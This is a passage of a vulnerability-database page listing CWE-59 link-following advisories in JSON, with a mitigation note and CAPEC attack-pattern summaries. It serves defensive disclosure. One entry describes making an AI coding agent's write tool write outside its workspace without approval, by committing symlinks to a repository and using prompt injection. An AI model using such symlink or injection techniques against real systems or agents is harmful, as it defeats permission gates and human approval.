@tdjackey for reporting.",
  "id": "GHSA-mgrq-9f93-wpp5",
  "modified": "2026-03-30T13:37:32Z",
  "published": "2026-03-12T14:21:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-mgrq-9f93-wpp5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32055"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/1aef45bc060b28a0af45a67dc66acd36aef763c9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/46eba86b45e9db05b7b792e914c4fe0de1b40a23"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-workspace-path-boundary-bypass-via-non-existent-symlink"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: workspace path guard bypass on non-existent out-of-root symlink leaf"
}

GHSA-MGWV-57P9-8V74

Vulnerability from github – Published: 2022-06-16 00:00 – Updated: 2022-06-25 00:00
VLAI
Details

Vulnerabilities in the Drive Composer allow a low privileged attacker to create and write to a file anywhere on the file system as SYSTEM with arbitrary content as long as the file does not already exist. The Drive Composer installer file allows a low-privileged user to run a "repair" operation on the product.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-31219"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-15T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "Vulnerabilities in the Drive Composer allow a low privileged attacker to create and write to a file anywhere on the file system as SYSTEM with arbitrary content as long as the file does not already exist. The Drive Composer installer file allows a low-privileged user to run a \"repair\" operation on the product.",
  "id": "GHSA-mgwv-57p9-8v74",
  "modified": "2022-06-25T00:00:51Z",
  "published": "2022-06-16T00:00:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31219"
    },
    {
      "type": "WEB",
      "url": "https://search.abb.com/library/Download.aspx?DocumentID=9AKK108467A0305\u0026LanguageCode=en\u0026DocumentPartId=\u0026Action=Launch\u0026_ga=2.38192870.478847987.1655218701-372504397.1647012599"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MGX4-MFMV-7VWR

Vulnerability from github – Published: 2022-05-24 16:58 – Updated: 2024-04-04 02:18
VLAI
Details

An elevation of privilege vulnerability exists when Windows Error Reporting manager improperly handles hard links, aka 'Windows Error Reporting Manager Elevation of Privilege Vulnerability'. This CVE ID is unique from CVE-2019-1315, CVE-2019-1342.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-1339"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-10-10T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "An elevation of privilege vulnerability exists when Windows Error Reporting manager improperly handles hard links, aka \u0027Windows Error Reporting Manager Elevation of Privilege Vulnerability\u0027. This CVE ID is unique from CVE-2019-1315, CVE-2019-1342.",
  "id": "GHSA-mgx4-mfmv-7vwr",
  "modified": "2024-04-04T02:18:26Z",
  "published": "2022-05-24T16:58:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1339"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1339"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MH6R-QGRX-8PFM

Vulnerability from github – Published: 2026-10-13 21:36 – Updated: 2026-10-13 21:36
VLAI
Details

Improper link resolution before file access ('link following') in Windows WalletService allows an authorized attacker to elevate privileges locally.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-96243"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-13T19:21:49Z",
    "severity": "HIGH"
  },
  "details": "Improper link resolution before file access (\u0027link following\u0027) in Windows WalletService allows an authorized attacker to elevate privileges locally.",
  "id": "GHSA-mh6r-qgrx-8pfm",
  "modified": "2026-10-13T21:36:58Z",
  "published": "2026-10-13T21:36:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96243"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96243"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MHJ6-8RVV-3GRJ

Vulnerability from github – Published: 2026-10-10 21:31 – Updated: 2026-10-10 21:31
VLAI
Details

phi 0.1.1 through 0.28.4 contains an improper link resolution vulnerability that allows malicious repositories to bypass workspace_only_writes by exploiting lexical-only path checks in the permission gate. Attackers can commit symlinks pointing outside the workspace and use prompt injection to make the write tool write attacker-influenced content to external files without approval.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-108599"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-10T19:16:58Z",
    "severity": "MODERATE"
  },
  "details": "phi 0.1.1 through 0.28.4 contains an improper link resolution vulnerability that allows malicious repositories to bypass workspace_only_writes by exploiting lexical-only path checks in the permission gate. Attackers can commit symlinks pointing outside the workspace and use prompt injection to make the write tool write attacker-influenced content to external files without approval.",
  "id": "GHSA-mhj6-8rvv-3grj",
  "modified": "2026-10-10T21:31:16Z",
  "published": "2026-10-10T21:31:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-108599"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pulseaiclub/phi"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pulseaiclub/phi/blob/5b3cb440a7c58115ef64283a737a43299f2805a4/internal/permission/gate.go#L106-L119"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pulseaiclub/phi/blob/5b3cb440a7c58115ef64283a737a43299f2805a4/internal/tools/writetool/write.go#L64-L68"
    },
    {
      "type": "WEB",
      "url": "https://hackmd.io/@haind/phi-symlink-permission-boundary"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/phi-0.1.1-through-0.28.4-symlink-workspace-write-restriction-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

Mitigation MIT-48.1
Architecture and Design

Strategy: Separation of Privilege

  • Follow the principle of least privilege when assigning access rights to entities in a software system.
  • Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
CAPEC-132: Symlink Attack

An adversary positions a symbolic link in such a manner that the targeted user or application accesses the link's endpoint, assuming that it is accessing a file with the link's name.

CAPEC-17: Using Malicious Files

An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.